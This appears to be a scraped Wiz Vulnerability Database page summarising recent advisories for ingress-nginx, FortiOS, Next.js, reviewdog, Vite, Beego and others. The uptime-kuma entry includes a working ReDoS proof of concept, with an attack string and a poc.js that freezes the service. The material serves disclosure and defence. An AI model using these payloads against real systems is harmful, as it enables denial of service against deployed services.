NGINX Ingress Controller for Kubernetes (community-driven) is an Ingress Controller that manages the routing of external traffic to services inside a Kubernetes cluster, acting as a reverse proxy and load balancer. Developed and maintained by the Kubernetes community, this controller offers a wide range of features for traffic routing, SSL termination, and load balancing.

Ingress NGINX Controller (community-driven)

Wolfi is a community Linux OS designed for the container and cloud-native era; it is a Linux distribution based on Alpine.

Wolfi

Chainguard is a Linux distribution based on Alpine. It's the commercial version of the Wolfi distro.

Chainguard

A security issue was discovered in Kubernetes where under certain conditions, an unauthenticated attacker with access to the pod network can achieve arbitrary code execution in the context of the ingress-nginx controller. This can lead to disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)

CVE-2025-1974

GoLang

GitHub Advisory Database

Linux

Linux Kernel

Windows

Windows Cumulative Update

FortiOS is Fortinet's operating system. It is the foundation of the Fortinet Security Fabric, consolidating many technologies and use cases into a single policy and management framework. FortiOS provides the ability to control all the security and networking capabilities in all FortiGate devices across the entire network with one operating system.

FortiOS

FortiProxy is a secure web proxy that protects employees against internet-borne attacks by incorporating multiple detection techniques such as web and video filtering, DNS filtering, data loss prevention, antivirus, intrusion prevention, browser isolation, and advanced threat protection.

Fortinet FortiProxy

FortiGate Next Generation Firewall is a network security appliance by Fortinet.

FortiGate Next Generation Firewall (Virtual Appliance)

A buffer underwrite ('buffer underflow') vulnerability in the administrative interface of Fortinet FortiOS version 7.2.0 through 7.2.3, version 7.0.0 through 7.0.6, version 6.4.0 through 6.4.11 and version 6.2.12 and below, FortiProxy version 7.2.0 through 7.2.2, version 7.0.0 through 7.0.8, version 2.0.12 and below and FortiOS-6K7K version 7.0.5, version 6.4.0 through 6.4.10 and version 6.2.0 through 6.2.10 and below allows a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

CVE-2023-25610

JavaScript is a high-level, interpreted programming language essential for creating interactive web applications, running directly in web browsers to enable dynamic content and user interface enhancements. It is integral to the web development stack, working seamlessly with HTML and CSS to build responsive and feature-rich websites.

JavaScript

Next.js is a popular React-based framework for building server-side rendered and statically generated web applications. It provides a powerful set of features including automatic code splitting, optimized performance, and built-in routing.

Next.js

Next.js is a React framework for building full-stack web applications. Prior to 14.2.25 and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 14.2.25 and 15.2.3.

CVE-2025-29927

Anaconda

GitHub is a web-based Git repository hosting service, which offers all of the distributed revision control and source code management (SCM) functionality of Git, as well as adding its own features. Unlike Git, which is strictly a command-line tool, GitHub provides a web-based graphical interface and desktop as well as mobile integration.

GitHub

reviewdog/action-setup is a GitHub action that installs reviewdog. reviewdog/action-setup@v1 was compromised March 11, 2025, between 18:42 and 20:31 UTC, with malicious code added that dumps exposed secrets to Github Actions Workflow Logs. Other reviewdog actions that use `reviewdog/action-setup@v1` that would also be compromised, regardless of version or pinning method, are reviewdog/action-shellcheck, reviewdog/action-composite-template, reviewdog/action-staticcheck, reviewdog/action-ast-grep, and reviewdog/action-typos.

CVE-2025-30154

Wiz Threat Research estimates with high confidence that the root cause of the tj-actions/changed-files compromise was itself a supply chain compromise, of reviewdog/action-setup. Wiz Threat Research found that attackers modified the v1 tag of reviewdog/action-setup, which was then used by tj-actions/eslint-changed-files, likely leading to the compromise of a GitHub Personal Access Token (PAT) that enabled the attack on tj-actions/changed-files.

WVE-2025-001

Vite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 6.2.4, 6.1.3, 6.0.13, 5.4.16, and 4.5.11.

CVE-2025-31125

Python is a high-level, general-purpose programming language. Its key feature is the high readability of the code. It supports multiple programming paradigms, including Object-Oriented Programming (OOP) and Functional Programming.

Python

Mobile Security Framework (MobSF) is a pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. The mitigation for CVE-2024-29190 in valid_host() uses socket.gethostbyname(), which is vulnerable to SSRF abuse using DNS rebinding technique. This vulnerability is fixed in 4.3.2.

CVE-2025-31116

Beego is an open-source web framework for the Go programming language. Prior to 2.3.6, a Cross-Site Scripting (XSS) vulnerability exists in Beego's RenderForm() function due to improper HTML escaping of user-controlled data. This vulnerability allows attackers to inject malicious JavaScript code that executes in victims' browsers, potentially leading to session hijacking, credential theft, or account takeover. The vulnerability affects any application using Beego's RenderForm() function with user-provided data. Since it is a high-level function generating an entire form markup, many developers would assume it automatically escapes attributes (the way most frameworks do). This vulnerability is fixed in 2.3.6.

CVE-2025-30223

Rust is a multi-paradigm programming language focused on performance and safety, especially safe concurrency.

Rust

The `Drop` implementation will get run twice when using the cursor.
This issue does not affect you, if you are using only using the crate with types that are `Copy` such as `u8`.
This issue also does not affect you, if you are only depending on it through the crate `planus`.

GHSA-67r5-rqwv-9p9q

### Summary
There is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.
### Details
The regular expression` \/*$\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.
```js
.replace(/\/*$/, "")
```
For the regular expression `/\/*$/`, an attack string like 
```javascript
"https://e" + "/".repeat(100000) + "@" 
```
can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.
> When entered from the web interface, the attack string needs to expand `"/".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.
### PoC
The poc.js is in: 
https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0
The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:
```javascript
const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
    test = require("node:test");
} else {
    test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");
const assert = require("node:assert");
test("Test ReDos - attack string", async (t) => {
    const pushDeer = new PushDeer();
    const notification = {
        pushdeerServer: "https://e" + "/".repeat(100000) + "@",
    };
    const msg = "Test Attacking";
    const startTime = performance.now();
    try {
        pushDeer.send(notification, msg)
    } catch (error) {
    // pass
    }
    const endTime = performance.now();
    const elapsedTime = endTime - startTime;
    const reDosThreshold = 2000;
    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});
```
> Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests.
Trigger conditions for whapi jams, In the send function within the `uptime-kuma\server\notification-providers\pushdeer.js` file:
https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28
```js
// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");
// Create an instance of Whapi
const whapi = new Whapi();
const notification = {
    whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";
// Call the send method and handle exceptions
whapi.send(notification, msg)
// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the root directory of the same level as `README.md`
// 8.and then run `node poc.js`
```
After running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.
<img width="760" alt="redos" src="https://github.com/user-attachments/assets/98f18fee-7555-410e-98c8-763906843812" />
You can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `/` to the URL, followed by a `non-/` character at the end, entered directly.
<img width="1280" alt="1" src="https://github.com/user-attachments/assets/61945200-4397-4933-9170-2a5517613408" />
<img width="1280" alt="webserver" src="https://github.com/user-attachments/assets/c0d7e952-0ec1-4c54-ba31-8b7144c04669" />
### Impact
**What kind of vulnerability is it?**
This is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings.
**Who is impacted?**
1. **Uptime Kuma users**:
Any users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.
2. **Web services and hosting providers**:
If Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to `downtime`, `degraded performance`, or `resource exhaustion`.
### Solution
@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573

CVE ID	Severity	Score	Technologies	Component name	CISA KEV exploit	Has fix	Published date
CVE-2025-1974	CRITICAL	9.8	Ingress NGINX Controller (community-driven)	ingress-nginx-controller-1.10	No	Yes	Mar 25, 2025
CVE-2023-25610	CRITICAL	9.3	FortiOS	cpe:2.3:o:fortinet:fortios	No	Yes	Mar 24, 2025
CVE-2025-29927	CRITICAL	9.1	JavaScript	jitsucom-jitsu	No	Yes	Mar 21, 2025
CVE-2025-30154	HIGH	8.6	GitHub	N/A	Yes	No	Mar 19, 2025
WVE-2025-001	HIGH	N/A	GitHub	N/A	No	N/A	Mar 17, 2025

CVE ID	Severity	Score	Technologies	Component name	CISA KEV exploit	Has fix	Published date
CVE-2025-31125	MEDIUM	N/A	JavaScript	vite	No	Yes	Mar 31, 2025
CVE-2025-31116	MEDIUM	N/A	Python	mobsf	No	Yes	Mar 31, 2025
CVE-2025-30223	CRITICAL	N/A	N/A	github.com/beego/beego	No	Yes	Mar 31, 2025
GHSA-67r5-rqwv-9p9q	LOW	2.9	Rust	array-init-cursor	No	Yes	Mar 31, 2025
GHSA-hx7h-9vf7-5xhg	MEDIUM	6.7	JavaScript	uptime-kuma	No	Yes	Mar 31, 2025

Wiz Vulnerability Database

Explore by technology

Popular filters

High Profile

Most Recent

Vulnerabilities by the numbers

The good, the bad, and the vulnerable

Additional Wiz resources

Cloud Vulnerability DB

Cloud threat landscape

PEACH

Ready to see Wiz in action?